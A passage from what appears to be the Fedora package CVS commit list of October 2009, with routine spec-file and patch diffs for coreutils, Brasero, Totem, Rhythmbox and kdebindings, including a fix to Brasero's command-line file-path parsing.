++  int c;
++  int i;
++  bool fs = false;
++  bool terse = false;
++  char *format = NULL;
++  bool ok = true;
++
++  initialize_main (&argc, &argv);
++  set_program_name (argv[0]);
++  setlocale (LC_ALL, "");
++  bindtextdomain (PACKAGE, LOCALEDIR);
++  textdomain (PACKAGE);
++
++  atexit (close_stdout);
++
++  while ((c = getopt_long (argc, argv, "c:fLtZ", long_options, NULL)) != -1)
++    {
++      switch (c)
++        {
++        case PRINTF_OPTION:
++          format = optarg;
++          interpret_backslash_escapes = true;
++          trailing_delim = "";
++          break;
++
++        case 'c':
++          format = optarg;
++          interpret_backslash_escapes = false;
++          trailing_delim = "\n";
++          break;
++
++        case 'L':
++          follow_links = true;
++          break;
++
++        case 'f':
++          fs = true;
++          break;
++
++        case 't':
++          terse = true;
++          break;
++
++        case 'Z':  /* FIXME: remove in 2010 */
++          /* Ignore, for compatibility with distributions
++             that implemented this before upstream.
++             But warn of impending removal.  */
++          error (0, 0,
++                 _("the --context (-Z) option is obsolete and will be removed\n"
++                   "in a future release"));
++          break;
++
++        case_GETOPT_HELP_CHAR;
++
++        case_GETOPT_VERSION_CHAR (PROGRAM_NAME, AUTHORS);
++
++        default:
++          usage (EXIT_FAILURE);
++        }
++    }
++
++  if (argc == optind)
++    {
++      error (0, 0, _("missing operand"));
++      usage (EXIT_FAILURE);
++    }
++
++  for (i = optind; i < argc; i++)
++    ok &= (fs
++           ? do_statfs (argv[i], terse, format)
++           : do_stat (argv[i], terse, format));
++
++  exit (ok ? EXIT_SUCCESS : EXIT_FAILURE);
++}
+diff -urNp coreutils-8.0-orig/tests/misc/selinux coreutils-8.0/tests/misc/selinux
+--- coreutils-8.0-orig/tests/misc/selinux	2009-09-01 13:01:16.000000000 +0200
++++ coreutils-8.0/tests/misc/selinux	2009-10-07 10:10:11.000000000 +0200
 @@ -30,7 +30,7 @@ chcon $ctx f d p ||
  
  # inspect that context with both ls -Z and stat.


Index: coreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils.spec,v
retrieving revision 1.283
retrieving revision 1.284
diff -u -p -r1.283 -r1.284
--- coreutils.spec	6 Oct 2009 13:43:24 -0000	1.283
+++ coreutils.spec	7 Oct 2009 08:11:44 -0000	1.284
@@ -6,7 +6,7 @@ License: GPLv3+
 Group:   System Environment/Base
 Url:     http://www.gnu.org/software/coreutils/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-Source0: ftp://ftp.gnu.org/gnu/%{name}/%{name}-%{version}.tar.xz
+Source0: ftp://ftp.gnu.org/gnu/%{name}/%{name}-%{version}.tar.gz
 Source101:  coreutils-DIR_COLORS
 Source102:  coreutils-DIR_COLORS.lightbgcolor
 Source103:  coreutils-DIR_COLORS.256color



From ovasik at fedoraproject.org  Wed Oct  7 08:16:27 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Wed,  7 Oct 2009 08:16:27 +0000 (UTC)
Subject: rpms/coreutils/devel coreutils.spec,1.284,1.285
Message-ID: <20091007081627.269B711C00E6@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/coreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26742

Modified Files:
	coreutils.spec 
Log Message:
oops... use .xz tarball instead of my local .gz


Index: coreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils.spec,v
retrieving revision 1.284
retrieving revision 1.285
diff -u -p -r1.284 -r1.285
--- coreutils.spec	7 Oct 2009 08:11:44 -0000	1.284
+++ coreutils.spec	7 Oct 2009 08:16:26 -0000	1.285
@@ -6,7 +6,7 @@ License: GPLv3+
 Group:   System Environment/Base
 Url:     http://www.gnu.org/software/coreutils/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-Source0: ftp://ftp.gnu.org/gnu/%{name}/%{name}-%{version}.tar.gz
+Source0: ftp://ftp.gnu.org/gnu/%{name}/%{name}-%{version}.tar.xz
 Source101:  coreutils-DIR_COLORS
 Source102:  coreutils-DIR_COLORS.lightbgcolor
 Source103:  coreutils-DIR_COLORS.256color



From hadess at fedoraproject.org  Wed Oct  7 08:34:12 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 08:34:12 +0000 (UTC)
Subject: rpms/brasero/devel
	0001-Fix-parsing-of-file-paths-on-the-command-line.patch, NONE,
	1.1 .cvsignore, 1.29, 1.30 brasero.spec, 1.64, 1.65 sources,
	1.29, 1.30
Message-ID: <20091007083412.9E25B11C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/brasero/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1167

Modified Files:
	.cvsignore brasero.spec sources 
Added Files:
	0001-Fix-parsing-of-file-paths-on-the-command-line.patch 
Log Message:
* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
- Update to 2.28.1
- Fix command-line parsing (#527484)


0001-Fix-parsing-of-file-paths-on-the-command-line.patch:
 brasero-project-parse.c |   16 +++++++++++++---
 main.c                  |   11 +++++------
 2 files changed, 18 insertions(+), 9 deletions(-)

--- NEW FILE 0001-Fix-parsing-of-file-paths-on-the-command-line.patch ---
>From 82a2336030c885bb5a74639d401ab3f2ec511af5 Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Wed, 7 Oct 2009 09:16:50 +0100
Subject: [PATCH] Fix parsing of file paths on the command-line

Between 2.26.x and 2.28.x, Brasero lost its ability to have
file paths (as opposed to URIs) be used to pass arguments
on the command-line, breaking the existing Totem and Rhythmbox
burn plugins.

Mark the relevant options as being passed filenames and get
the URI/path using GIO in the functions requiring it.

https://bugzilla.gnome.org/show_bug.cgi?id=597584
---
 src/brasero-project-parse.c |   16 +++++++++++++---
 src/main.c                  |   10 +++++-----
 2 files changed, 18 insertions(+), 8 deletions(-)

diff --git a/src/brasero-project-parse.c b/src/brasero-project-parse.c
index 95c438d..ffacf46 100644
--- a/src/brasero-project-parse.c
+++ b/src/brasero-project-parse.c
@@ -432,10 +432,13 @@ brasero_project_open_project_xml (const gchar *uri,
 	xmlDocPtr project;
 	xmlNodePtr item;
 	gboolean retval;
+	GFile *file;
 	gchar *path;
 
-	path = g_filename_from_uri (uri, NULL, NULL);
-    	if (!path)
+	file = g_file_new_for_commandline_arg (uri);
+	path = g_file_get_path (file);
+	g_object_unref (file);
+	if (!path)
 		return FALSE;
 
 	/* start parsing xml doc */
@@ -571,6 +574,12 @@ brasero_project_open_audio_playlist_project (const gchar *uri,
 {
 	TotemPlParser *parser;
 	TotemPlParserResult result;
+	GFile *file;
+	char *_uri;
+
+	file = g_file_new_for_commandline_arg (uri);
+	_uri = g_file_get_uri (file);
+	g_object_unref (file);
 
 	parser = totem_pl_parser_new ();
 	g_object_set (parser,
@@ -588,12 +597,13 @@ brasero_project_open_audio_playlist_project (const gchar *uri,
 			  G_CALLBACK (brasero_project_playlist_entry_parsed),
 			  session);
 
-	result = totem_pl_parser_parse (parser, uri, FALSE);
+	result = totem_pl_parser_parse (parser, _uri, FALSE);
 	if (result != TOTEM_PL_PARSER_RESULT_SUCCESS) {
 		if (warn_user)
 			brasero_project_invalid_project_dialog (_("It does not seem to be a valid Brasero project"));
 	}
 
+	g_free (_uri);
 	g_object_unref (parser);
 
 	return (result == TOTEM_PL_PARSER_RESULT_SUCCESS);
diff --git a/src/main.c b/src/main.c
index 7de917c..e717ef5 100644
--- a/src/main.c
+++ b/src/main.c
@@ -70,13 +70,13 @@ gint open_ncb;
 gint parent_window;
 
 static const GOptionEntry options [] = {
-	{ "project", 'p', 0, G_OPTION_ARG_STRING, &project_uri,
+	{ "project", 'p', 0, G_OPTION_ARG_FILENAME, &project_uri,
 	  N_("Open the specified project"),
 	  N_("PROJECT") },
 
 #ifdef BUILD_PLAYLIST
 
-	 { "playlist", 'l', 0, G_OPTION_ARG_STRING, &playlist_uri,
+	 { "playlist", 'l', 0, G_OPTION_ARG_FILENAME, &playlist_uri,
 	  N_("Open the specified playlist as an audio project"),
 	  N_("PLAYLIST") },
 
@@ -94,7 +94,7 @@ static const GOptionEntry options [] = {
 	  N_("Copy a disc"),
 	  N_("PATH TO DEVICE") },
 
-	{ "cover", 'j', 0, G_OPTION_ARG_STRING, &cover_project,
+	{ "cover", 'j', 0, G_OPTION_ARG_FILENAME, &cover_project,
 	  N_("Cover to use"),
 	  N_("PATH TO COVER") },
 
@@ -102,7 +102,7 @@ static const GOptionEntry options [] = {
 	  N_("Open a video project adding the URIs given on the command line"),
 	  NULL },
 
-	{ "image", 'i', 0, G_OPTION_ARG_STRING, &iso_uri,
+	{ "image", 'i', 0, G_OPTION_ARG_FILENAME, &iso_uri,
 	 N_("URI of an image file to burn (autodetected)"),
           N_("PATH TO PLAYLIST") },
 
@@ -122,7 +122,7 @@ static const GOptionEntry options [] = {
 	  N_("Burn the contents of burn:// URI"),
 	  NULL },
 
-	{ "burn-and-remove-project", 'r', 0, G_OPTION_ARG_STRING, &burn_project_uri,
+	{ "burn-and-remove-project", 'r', 0, G_OPTION_ARG_FILENAME, &burn_project_uri,
 	  N_("Burn the specified project and remove it.\nThis option is mainly useful for integration with other applications."),
 	  N_("PATH") },
 
-- 
1.6.4.4



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/devel/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	22 Sep 2009 05:54:30 -0000	1.29
+++ .cvsignore	7 Oct 2009 08:34:12 -0000	1.30
@@ -1 +1 @@
-brasero-2.28.0.tar.bz2
+brasero-2.28.1.tar.bz2


Index: brasero.spec
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/devel/brasero.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- brasero.spec	22 Sep 2009 05:54:30 -0000	1.64
+++ brasero.spec	7 Oct 2009 08:34:12 -0000	1.65
@@ -1,6 +1,6 @@
 Name:      brasero
-Version:   2.28.0
-Release:   1%{?dist}
+Version:   2.28.1
+Release:   2%{?dist}
 Summary:   Gnome CD/DVD burning application
 Group:     Applications/Multimedia
 License:   GPLv2+
@@ -8,6 +8,9 @@ URL:       http://www.gnome.org/projects
 Source0:   http://ftp.gnome.org/pub/GNOME/sources/brasero/2.28/%{name}-%{version}.tar.bz2
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=597584
+Patch0: 0001-Fix-parsing-of-file-paths-on-the-command-line.patch
+
 BuildRequires:  glib2-devel >= 2.15.6
 BuildRequires:  gettext intltool gtk-doc
 BuildRequires:  desktop-file-utils
@@ -87,7 +90,7 @@ developing brasero applications.
 
 %prep
 %setup -q
-
+%patch0 -p1 -b .cmdline
 
 %build
 %configure \
@@ -205,6 +208,10 @@ fi
 
 
 %changelog
+* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
+- Update to 2.28.1
+- Fix command-line parsing (#527484)
+
 * Tue Sep 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/devel/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	22 Sep 2009 05:54:30 -0000	1.29
+++ sources	7 Oct 2009 08:34:12 -0000	1.30
@@ -1 +1 @@
-c88b85c15c03fd5198758c00f7375fa2  brasero-2.28.0.tar.bz2
+ad422a966d100f99b027b6b4170e8ede  brasero-2.28.1.tar.bz2



From hadess at fedoraproject.org  Wed Oct  7 08:35:48 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 08:35:48 +0000 (UTC)
Subject: rpms/brasero/F-12
	0001-Fix-parsing-of-file-paths-on-the-command-line.patch, NONE,
	1.1 brasero.spec, 1.66, 1.67
Message-ID: <20091007083548.7EF8411C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/brasero/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2362

Modified Files:
	brasero.spec 
Added Files:
	0001-Fix-parsing-of-file-paths-on-the-command-line.patch 
Log Message:
* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
- Fix command-line parsing (#527484)


0001-Fix-parsing-of-file-paths-on-the-command-line.patch:
 brasero-project-parse.c |   16 +++++++++++++---
 main.c                  |   11 +++++------
 2 files changed, 18 insertions(+), 9 deletions(-)

--- NEW FILE 0001-Fix-parsing-of-file-paths-on-the-command-line.patch ---
>From 82a2336030c885bb5a74639d401ab3f2ec511af5 Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Wed, 7 Oct 2009 09:16:50 +0100
Subject: [PATCH] Fix parsing of file paths on the command-line

Between 2.26.x and 2.28.x, Brasero lost its ability to have
file paths (as opposed to URIs) be used to pass arguments
on the command-line, breaking the existing Totem and Rhythmbox
burn plugins.

Mark the relevant options as being passed filenames and get
the URI/path using GIO in the functions requiring it.

https://bugzilla.gnome.org/show_bug.cgi?id=597584
---
 src/brasero-project-parse.c |   16 +++++++++++++---
 src/main.c                  |   10 +++++-----
 2 files changed, 18 insertions(+), 8 deletions(-)

diff --git a/src/brasero-project-parse.c b/src/brasero-project-parse.c
index 95c438d..ffacf46 100644
--- a/src/brasero-project-parse.c
+++ b/src/brasero-project-parse.c
@@ -432,10 +432,13 @@ brasero_project_open_project_xml (const gchar *uri,
 	xmlDocPtr project;
 	xmlNodePtr item;
 	gboolean retval;
+	GFile *file;
 	gchar *path;
 
-	path = g_filename_from_uri (uri, NULL, NULL);
-    	if (!path)
+	file = g_file_new_for_commandline_arg (uri);
+	path = g_file_get_path (file);
+	g_object_unref (file);
+	if (!path)
 		return FALSE;
 
 	/* start parsing xml doc */
@@ -571,6 +574,12 @@ brasero_project_open_audio_playlist_project (const gchar *uri,
 {
 	TotemPlParser *parser;
 	TotemPlParserResult result;
+	GFile *file;
+	char *_uri;
+
+	file = g_file_new_for_commandline_arg (uri);
+	_uri = g_file_get_uri (file);
+	g_object_unref (file);
 
 	parser = totem_pl_parser_new ();
 	g_object_set (parser,
@@ -588,12 +597,13 @@ brasero_project_open_audio_playlist_project (const gchar *uri,
 			  G_CALLBACK (brasero_project_playlist_entry_parsed),
 			  session);
 
-	result = totem_pl_parser_parse (parser, uri, FALSE);
+	result = totem_pl_parser_parse (parser, _uri, FALSE);
 	if (result != TOTEM_PL_PARSER_RESULT_SUCCESS) {
 		if (warn_user)
 			brasero_project_invalid_project_dialog (_("It does not seem to be a valid Brasero project"));
 	}
 
+	g_free (_uri);
 	g_object_unref (parser);
 
 	return (result == TOTEM_PL_PARSER_RESULT_SUCCESS);
diff --git a/src/main.c b/src/main.c
index 7de917c..e717ef5 100644
--- a/src/main.c
+++ b/src/main.c
@@ -70,13 +70,13 @@ gint open_ncb;
 gint parent_window;
 
 static const GOptionEntry options [] = {
-	{ "project", 'p', 0, G_OPTION_ARG_STRING, &project_uri,
+	{ "project", 'p', 0, G_OPTION_ARG_FILENAME, &project_uri,
 	  N_("Open the specified project"),
 	  N_("PROJECT") },
 
 #ifdef BUILD_PLAYLIST
 
-	 { "playlist", 'l', 0, G_OPTION_ARG_STRING, &playlist_uri,
+	 { "playlist", 'l', 0, G_OPTION_ARG_FILENAME, &playlist_uri,
 	  N_("Open the specified playlist as an audio project"),
 	  N_("PLAYLIST") },
 
@@ -94,7 +94,7 @@ static const GOptionEntry options [] = {
 	  N_("Copy a disc"),
 	  N_("PATH TO DEVICE") },
 
-	{ "cover", 'j', 0, G_OPTION_ARG_STRING, &cover_project,
+	{ "cover", 'j', 0, G_OPTION_ARG_FILENAME, &cover_project,
 	  N_("Cover to use"),
 	  N_("PATH TO COVER") },
 
@@ -102,7 +102,7 @@ static const GOptionEntry options [] = {
 	  N_("Open a video project adding the URIs given on the command line"),
 	  NULL },
 
-	{ "image", 'i', 0, G_OPTION_ARG_STRING, &iso_uri,
+	{ "image", 'i', 0, G_OPTION_ARG_FILENAME, &iso_uri,
 	 N_("URI of an image file to burn (autodetected)"),
           N_("PATH TO PLAYLIST") },
 
@@ -122,7 +122,7 @@ static const GOptionEntry options [] = {
 	  N_("Burn the contents of burn:// URI"),
 	  NULL },
 
-	{ "burn-and-remove-project", 'r', 0, G_OPTION_ARG_STRING, &burn_project_uri,
+	{ "burn-and-remove-project", 'r', 0, G_OPTION_ARG_FILENAME, &burn_project_uri,
 	  N_("Burn the specified project and remove it.\nThis option is mainly useful for integration with other applications."),
 	  N_("PATH") },
 
-- 
1.6.4.4



Index: brasero.spec
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/F-12/brasero.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- brasero.spec	5 Oct 2009 17:25:38 -0000	1.66
+++ brasero.spec	7 Oct 2009 08:35:48 -0000	1.67
@@ -1,6 +1,6 @@
 Name:      brasero
 Version:   2.28.1
-Release:   1%{?dist}
+Release:   2%{?dist}
 Summary:   Gnome CD/DVD burning application
 Group:     Applications/Multimedia
 License:   GPLv2+
@@ -8,6 +8,9 @@ URL:       http://www.gnome.org/projects
 Source0:   http://ftp.gnome.org/pub/GNOME/sources/brasero/2.28/%{name}-%{version}.tar.bz2
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=597584
+Patch0: 0001-Fix-parsing-of-file-paths-on-the-command-line.patch
+
 BuildRequires:  glib2-devel >= 2.15.6
 BuildRequires:  gettext intltool gtk-doc
 BuildRequires:  desktop-file-utils
@@ -86,6 +89,7 @@ developing brasero applications.
 
 %prep
 %setup -q
+%patch0 -p1 -b .cmdline
 
 %build
 %configure \
@@ -203,6 +207,9 @@ fi
 
 
 %changelog
+* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
+- Fix command-line parsing (#527484)
+
 * Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
 - Update to 2.28.1, fixes a number of crashes and other serious bugs:
  - Fix a crash when we try to download a missing gstreamer plugin through PK



From hadess at fedoraproject.org  Wed Oct  7 08:37:10 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 08:37:10 +0000 (UTC)
Subject: rpms/totem/F-12 totem.spec,1.263,1.264 brasero-burn.patch,1.1,NONE
Message-ID: <20091007083710.F3A8411C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2738

Modified Files:
	totem.spec 
Removed Files:
	brasero-burn.patch 
Log Message:
* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-3
- Remove work-around for brasero bug



Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-12/totem.spec,v
retrieving revision 1.263
retrieving revision 1.264
diff -u -p -r1.263 -r1.264
--- totem.spec	6 Oct 2009 23:56:56 -0000	1.263
+++ totem.spec	7 Oct 2009 08:37:10 -0000	1.264
@@ -6,7 +6,7 @@
 Summary: Movie player for GNOME
 Name: totem
 Version: 2.28.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -77,9 +77,6 @@ Obsoletes: totem-galago
 Obsoletes: totem-gstreamer < 2.27.1
 Obsoletes: totem-xine < 2.27.1
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=597624
-Patch0: brasero-burn.patch
-
 %description
 Totem is simple movie player for the GNOME desktop. It features a
 simple playlist, a full-screen mode, seek and volume controls, as well as
@@ -187,7 +184,6 @@ audio and video files in the properties 
 
 %prep
 %setup -q
-%patch0 -p1 -b .brasero-burn
 
 %build
 
@@ -384,6 +380,9 @@ fi
 %{_libdir}/totem/plugins/publish
 
 %changelog
+* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-3
+- Remove work-around for brasero bug
+
 * Tue Oct  6 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-2
 - Make video burning work again
 


--- brasero-burn.patch DELETED ---



From hadess at fedoraproject.org  Wed Oct  7 08:38:43 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 08:38:43 +0000 (UTC)
Subject: rpms/rhythmbox/F-12 rhythmbox.spec, 1.268, 1.269 brasero-burn.patch,
	1.1, NONE
Message-ID: <20091007083843.7EA6211C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/rhythmbox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3615

Modified Files:
	rhythmbox.spec 
Removed Files:
	brasero-burn.patch 
Log Message:
* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-5
- Remove work-around for brasero bug



Index: rhythmbox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhythmbox/F-12/rhythmbox.spec,v
retrieving revision 1.268
retrieving revision 1.269
diff -u -p -r1.268 -r1.269
--- rhythmbox.spec	6 Oct 2009 18:07:19 -0000	1.268
+++ rhythmbox.spec	7 Oct 2009 08:38:43 -0000	1.269
@@ -3,7 +3,7 @@
 Name: rhythmbox
 Summary: Music Management Application
 Version: 0.12.5
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2+ with exceptions and GFDL
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/rhythmbox/
@@ -54,9 +54,6 @@ Patch0: rhythmbox-0.12.5-use-gnome-sessi
 BuildRequires: automake autoconf libtool
 Patch1: 0001-Use-C-only-for-the-browser-plugin.patch
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=597584
-Patch2: brasero-burn.patch
-
 %description
 Rhythmbox is an integrated music management application based on the powerful
 GStreamer media framework. It has a number of features, including an easy to
@@ -90,7 +87,6 @@ from, and sending media to UPnP/DLNA net
 %setup -q
 %patch0 -p1 -b .inhibit-gnome-session
 %patch1 -p1 -b .itms
-%patch2 -p1 -b .brasero-burn
 
 autoreconf -i
 
@@ -223,6 +219,9 @@ fi
 %{_libdir}/rhythmbox/plugins/upnp_coherence
 
 %changelog
+* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-5
+- Remove work-around for brasero bug
+
 * Tue Oct  6 2009 Matthias Clasen <mclasen at redhat.com> 0.12.5-4
 - Make burning with brasero actually work, somewhat
 


--- brasero-burn.patch DELETED ---



From ovasik at fedoraproject.org  Wed Oct  7 08:42:18 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Wed,  7 Oct 2009 08:42:18 +0000 (UTC)
Subject: rpms/coreutils/devel coreutils-DIR_COLORS, 1.8,
	1.9 coreutils-DIR_COLORS.256color, 1.8,
	1.9 coreutils-DIR_COLORS.lightbgcolor, 1.3, 1.4 coreutils.spec,
	1.285, 1.286
Message-ID: <20091007084218.3F39811C00E6@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/coreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5105

Modified Files:
	coreutils-DIR_COLORS coreutils-DIR_COLORS.256color 
	coreutils-DIR_COLORS.lightbgcolor coreutils.spec 
Log Message:
update /etc/DIR_COLORS* files


Index: coreutils-DIR_COLORS
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-DIR_COLORS,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- coreutils-DIR_COLORS	21 Sep 2009 06:04:14 -0000	1.8
+++ coreutils-DIR_COLORS	7 Oct 2009 08:42:14 -0000	1.9
@@ -183,6 +183,8 @@ EXEC 01;32
 .xcf 01;35
 .xwd 01;35
 .yuv 01;35
+.cgm 01;35
+.emf 01;35
 
 # http://wiki.xiph.org/index.php/MIME_Types_and_File_Extensions
 .axv 01;35


Index: coreutils-DIR_COLORS.256color
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-DIR_COLORS.256color,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- coreutils-DIR_COLORS.256color	21 Sep 2009 06:04:14 -0000	1.8
+++ coreutils-DIR_COLORS.256color	7 Oct 2009 08:42:15 -0000	1.9
@@ -158,6 +158,8 @@ EXEC 01;38;5;34
 .xcf 01;38;5;13
 .xwd 01;38;5;13
 .yuv 01;38;5;13
+.cgm 01;38;5;13
+.emf 01;38;5;13
 
 # http://wiki.xiph.org/index.php/MIME_Types_and_File_Extensions
 .axv 01;38;5;13


Index: coreutils-DIR_COLORS.lightbgcolor
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-DIR_COLORS.lightbgcolor,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- coreutils-DIR_COLORS.lightbgcolor	21 Sep 2009 06:04:14 -0000	1.3
+++ coreutils-DIR_COLORS.lightbgcolor	7 Oct 2009 08:42:15 -0000	1.4
@@ -160,6 +160,8 @@ EXEC 00;32
 .xcf 00;35
 .xwd 00;35
 .yuv 00;35
+.cgm 00;35
+.emf 00;35
 
 # http://wiki.xiph.org/index.php/MIME_Types_and_File_Extensions
 .axv 00;35


Index: coreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils.spec,v
retrieving revision 1.285
retrieving revision 1.286
diff -u -p -r1.285 -r1.286
--- coreutils.spec	7 Oct 2009 08:16:26 -0000	1.285
+++ coreutils.spec	7 Oct 2009 08:42:15 -0000	1.286
@@ -1,7 +1,7 @@
 Summary: A set of basic GNU tools commonly used in shell scripts
 Name:    coreutils
 Version: 8.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv3+
 Group:   System Environment/Base
 Url:     http://www.gnu.org/software/coreutils/
@@ -325,6 +325,9 @@ fi
 %{_libdir}/coreutils
 
 %changelog
+* Wed Oct 07 2009 Ondrej Vasik <ovasik at redhat.com> - 8.0-2
+- update /etc/DIR_COLORS* files
+
 * Wed Oct 07 2009 Ondrej Vasik <ovasik at redhat.com> - 8.0-1
 - New upstream release 8.0 (beta), defuzz patches,
   remove applied patches



From than at fedoraproject.org  Wed Oct  7 08:46:07 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 08:46:07 +0000 (UTC)
Subject: rpms/kdebindings/devel kdebindings.spec,1.245,1.246
Message-ID: <20091007084607.5755C11C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdebindings/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7056

Modified Files:
	kdebindings.spec 
Log Message:
install pykde4 examples under correct dir



Index: kdebindings.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/devel/kdebindings.spec,v
retrieving revision 1.245
retrieving revision 1.246
diff -u -p -r1.245 -r1.246
--- kdebindings.spec	7 Oct 2009 07:53:31 -0000	1.245
+++ kdebindings.spec	7 Oct 2009 08:46:06 -0000	1.246
@@ -332,6 +332,7 @@ ln -s %{_bindir}/pykdeuic4 \
       %{buildroot}%{python_sitearch}/PyQt4/uic/pykdeuic4.py
 
 # install pykde4 examples under correct dir
+mkdir -p %{buildroot}%{_docdir}
 rm -f %{buildroot}%{_kde4_appsdir}/pykde4/examples/*.py?
 mv %{buildroot}%{_kde4_appsdir}/pykde4 %{buildroot}%{_docdir}/
 



From hadess at fedoraproject.org  Wed Oct  7 08:52:41 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 08:52:41 +0000 (UTC)
Subject: rpms/brasero/F-12
	0001-Fix-parsing-of-file-paths-on-the-command-line.patch, 1.1, 1.2
Message-ID: <20091007085241.3115611C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/brasero/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9505

Modified Files:
	0001-Fix-parsing-of-file-paths-on-the-command-line.patch 
Log Message:
Fix patch to apply to 2.28

0001-Fix-parsing-of-file-paths-on-the-command-line.patch:
 brasero-project-parse.c |   16 +++++++++++++---
 main.c                  |   11 +++++------
 2 files changed, 18 insertions(+), 9 deletions(-)

Index: 0001-Fix-parsing-of-file-paths-on-the-command-line.patch
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/F-12/0001-Fix-parsing-of-file-paths-on-the-command-line.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-Fix-parsing-of-file-paths-on-the-command-line.patch	7 Oct 2009 08:35:48 -0000	1.1
+++ 0001-Fix-parsing-of-file-paths-on-the-command-line.patch	7 Oct 2009 08:52:39 -0000	1.2
@@ -1,4 +1,4 @@
-From 82a2336030c885bb5a74639d401ab3f2ec511af5 Mon Sep 17 00:00:00 2001
+From 387a91e4b0e25914bf8e879296264c74b0aa2424 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Wed, 7 Oct 2009 09:16:50 +0100
 Subject: [PATCH] Fix parsing of file paths on the command-line
@@ -66,7 +66,7 @@ index 95c438d..ffacf46 100644
  
  	return (result == TOTEM_PL_PARSER_RESULT_SUCCESS);
 diff --git a/src/main.c b/src/main.c
-index 7de917c..e717ef5 100644
+index abd31b5..e95e027 100644
 --- a/src/main.c
 +++ b/src/main.c
 @@ -70,13 +70,13 @@ gint open_ncb;
